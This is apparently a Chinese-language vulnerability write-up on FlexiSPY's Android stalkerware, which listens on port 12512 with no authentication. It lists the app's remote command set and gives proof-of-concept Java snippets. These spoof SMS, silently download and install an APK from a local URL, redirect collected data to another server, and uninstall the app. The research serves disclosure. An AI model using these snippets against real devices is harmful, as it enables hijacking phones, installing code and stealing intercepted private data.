FlexiSpy安卓版在目标手机安装成功后会主动监听12512端口,该端口是客户端与服务端的通信端口,由于缺少有效的身份认证机制攻击者可通过该端口,远程发送控制指令。
FlexiSPY启动时调用
public void startAppEngine(Context arg3) {  
    Intent v0 = new Intent(arg3, CoreService.class);
    v0.setAction("wfs.service.action.start_engine");
    arg3.startService(v0);
}启动CoreService后, CoreService会调用startEngine()
public void startEngine() throws AppEngineException {  
    ......
    this.mTcpSocketCmdServer = new TcpSocketCmdServer("AppEngine", "com.vvt.rmtctrl.server", 12512, ((TcpSocketCmdProcessor)v1));
    this.mTcpSocketCmdServer.setName("RemoteControlCmdServerThread");
    this.mTcpSocketCmdServer.start();之后FlexiSPY会开始监听12512端口。
TcpSocketCmdServer等待TcpSocketCmd(Client) 连接并调用readObject()获取TcpSocketCmd,作为Command ,调用TcpSocketCmdProcessor.processCommand(Command) 流程如下:
Client
tcpsocketcmd.execute() => connect to socket server => writeobject(this) => readobject(response)  Server
tcpsocketcmdserver => accept => readobject(tcpsocketcmd) => TcpSocketCmdProcessor.processCommand(tcpsocketcmd) => writeobject(response)  该Server(com.vvt.rmtctrl.server)的Processor为RemoteControlHandler。
该Processor支持的指令如下:
     RemoteFunction.IS_PRODUCT_ACTIVATED = 1;
     RemoteFunction.GET_LICENSE_STATUS = 2;
     RemoteFunction.ACTIVATE_PRODUCT = 3;
     RemoteFunction.DEACTIVATE_PRODUCT = 4;
     RemoteFunction.SET_EVENT_MAX_NUMBER = 5;
     RemoteFunction.SET_EVENT_TIMER = 6;
     RemoteFunction.ENABLE_EVENT_DELIVERY = 7;
     RemoteFunction.SET_DELIVERY_METHOD = 8;
     RemoteFunction.ENABLE_EVENT_CAPTURE = 9;
     RemoteFunction.ENABLE_CAPTURE_CALL = 10;
     RemoteFunction.ENABLE_CAPTURE_SMS = 11;
     RemoteFunction.ENABLE_CAPTURE_EMAIL = 12;
     RemoteFunction.ENABLE_CAPTURE_GPS = 13;
     RemoteFunction.SET_GPS_TIME_INTERVAL = 14;
     RemoteFunction.ENABLE_CAPTURE_MMS = 15;
     RemoteFunction.ENABLE_CAPTURE_IM = 16;
     RemoteFunction.ENABLE_CAPTURE_IMAGE = 17;
     RemoteFunction.ENABLE_CAPTURE_AUDIO = 18;
     RemoteFunction.ENABLE_CAPTURE_VIDEO = 19;
     RemoteFunction.ENABLE_CAPTURE_WALLPAPER = 20;
     RemoteFunction.ENABLE_CAPTURE_APP = 21;
     RemoteFunction.ENABLE_CAPTURE_URL = 22;
     RemoteFunction.ENABLE_CAPTURE_CALL_RECORD = 23;
     RemoteFunction.ENABLE_CAPTURE_CALENDAR = 24;
     RemoteFunction.ENABLE_CAPTURE_PASSWORD = 25;
     RemoteFunction.SET_IM_ATTACHMENT_LIMIT_SIZE = 26;
     RemoteFunction.ENABLE_CAPTURE_VOIP = 27;
     RemoteFunction.ENABLE_CAPTURE_CONTACT = 28;
     RemoteFunction.ENABLE_VOIP_CALL_RECORDING = 29;
     RemoteFunction.ENABLE_CALL_RECORDING = 30;
     RemoteFunction.ENABLE_SPY_CALL = 31;
     RemoteFunction.ENABLE_WATCH_NOTIFICATION = 32;
     RemoteFunction.SET_WATCH_FLAG = 33;
     RemoteFunction.SET_MODE_ADDRESS_BOOK = 34;
     RemoteFunction.SEND_ADDRESS_BOOK = 35;
     RemoteFunction.SET_PANIC_MODE = 36;
     RemoteFunction.ENABLE_COMMUNICATION_RESTRICTION = 37;
     RemoteFunction.ENABLE_ALERT = 38;
     RemoteFunction.ENABLE_APP_PROFILE = 39;
     RemoteFunction.ENABLE_URL_PROFILE = 40;
     RemoteFunction.MANAGE_COMMON_DATA = 41;
     RemoteFunction.GET_CONFIGURATION = 42;
     RemoteFunction.GET_SETTINGS = 43;
     RemoteFunction.GET_DIAGNOSTICS = 44;
     RemoteFunction.GET_EVENT_COUNT = 45;
     RemoteFunction.GET_GPS_ON_DEMAND = 46;
     RemoteFunction.GET_CONNECTION_HISTORY = 47;
     RemoteFunction.SEND_HEARTBEAT = 48;
     RemoteFunction.SEND_CURRENT_URL = 49;
     RemoteFunction.SEND_MOBILE_NUMBER = 50;
     RemoteFunction.SEND_SETTINGS_EVENT = 51;
     RemoteFunction.SEND_EVENTS = 52;
     RemoteFunction.SEND_BOOKMARKS = 53;
     RemoteFunction.REQUEST_CONFIGURATION = 54;
     RemoteFunction.DEBUG_SWITCH_CONTAINER = 55;
     RemoteFunction.DEBUG_SET_APPLICATION_MODE = 56;
     RemoteFunction.DEBUG_GET_APPLICATION_MODE = 57;
     RemoteFunction.DEBUG_HIDE_APP = 58;
     RemoteFunction.DEBUG_UNHIDE_APP = 59;
     RemoteFunction.DEBUG_CLOSE_APP = 60;
     RemoteFunction.DEBUG_GET_VERSION_CODE = 61;
     RemoteFunction.DEBUG_SEND_TEST_SMS = 62;
     RemoteFunction.DEBUG_RESTART_DEVICE = 63;
     RemoteFunction.SET_SUPERUSER_VISIBILITY = 64;
     RemoteFunction.SET_LOCK_PHONE_SCREEN = 65;
     RemoteFunction.REQUEST_DEVICE_SETTINGS = 66;
     RemoteFunction.SET_UPDATE_AVAILABLE_SILENT_MODE = 67;
     RemoteFunction.DELETE_DATABASE = 68;
     RemoteFunction.DEBUG_IS_DAEMON = 69;
     RemoteFunction.DEBUG_IS_FULL_MODE = 70;
     RemoteFunction.DEBUG_GET_CONFIG_ID = 71;
     RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID = 72;
     RemoteFunction.DEBUG_IS_CALLRECORDING_SUPPORTED = 73;
     RemoteFunction.DEBUG_PRODUCT_VERSION = 74;
     RemoteFunction.REQUEST_BATTERY_INFO = 75;
     RemoteFunction.REQUEST_MEDIA_HISTORICAL = 76;
     RemoteFunction.UPLOAD_ACTUAL_MEDIA = 77;
     RemoteFunction.DELETE_ACTUAL_MEDIA = 78;
     RemoteFunction.UNINSTALL_PRODUCT = 79;
     RemoteFunction.SEND_INSTALLED_APPLICATIONS = 80;
     RemoteFunction.SPOOF_SMS = 81;
     RemoteFunction.REQUEST_CALENDER = 82;
     RemoteFunction.ON_DEMAND_IMAGE_CAPTURE = 83;
     RemoteFunction.ON_DEMAND_AMBIENT_RECORD = 84;
     RemoteFunction.SET_CALL_RECORDING_WATCH_FLAG = 85;
     RemoteFunction.RESTART_DEVICE = 86;
     RemoteFunction.ADD_URL = 87;
     RemoteFunction.RESET_URL = 88;
     RemoteFunction.CLEAR_URL = 89;
     RemoteFunction.QUERY_URL = 90;
     RemoteFunction.SET_CALL_RECORDING_AUDIO_SOURCE = 91;
     RemoteFunction.REQUEST_HISTORICAL_EVENTS = 92;
     RemoteFunction.REQUEST_TEMPORAL_APPLICATION_CONTROL = 93;
     RemoteFunction.SYNC_TEMPORAL_APPLICATION_CONTROL = 94;
     RemoteFunction.ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT = 95;
     RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE = 96;
     RemoteFunction.DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING = 97;通过构造TcpSocketCmd并发送给TcpSocketCmdServer可远程调用该Processor支持的指令。
1.发送短信
RmtCtrlInputSpoofSms rmtCtrlInputSpoofSms = new RmtCtrlInputSpoofSms();  
rmtCtrlInputSpoofSms.setDestinationNumber("10086");  
rmtCtrlInputSpoofSms.setSmsMessage("test");  
controlCommand = new ControlCommand(RemoteFunction.SPOOF_SMS, rmtCtrlInputSpoofSms);  
new RemoteOnCommandReceive(controlCommand).execute();
2.更新FlexiSPY二进制文件
RmtCtrlInputDownloadBinaryAndUpdateSilentMode rmtCtrlInputDownloadBinaryAndUpdateSilentMode = new RmtCtrlInputDownloadBinaryAndUpdateSilentMode();  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setVersionNumber("250");  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setChecksum("387976742"); //update.apk crc32  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setUrl("http://192.168.1.100/update.apk");  
controlCommand = new ControlCommand(RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE, rmtCtrlInputDownloadBinaryAndUpdateSilentMode);  
new RemoteOnCommandReceive(controlCommand).execute();  3.更新服务端URL
List urls = new ArrayList<>();  
urls.add("http://192.168.1.100:8080");  
controlCommand = new ControlCommand(RemoteFunction.ADD_URL, urls);  
new RemoteOnCommandReceive(controlCommand).execute();  更新服务端URL之后,可将FlexiSPY发送给服务端的数据转到指定的服务器上。
4.卸载FlexiSPY
controlCommand = new ControlCommand(RemoteFunction.UNINSTALL_PRODUCT, null);  
new RemoteOnCommandReceive(controlCommand).execute();  其他功能不一一演示。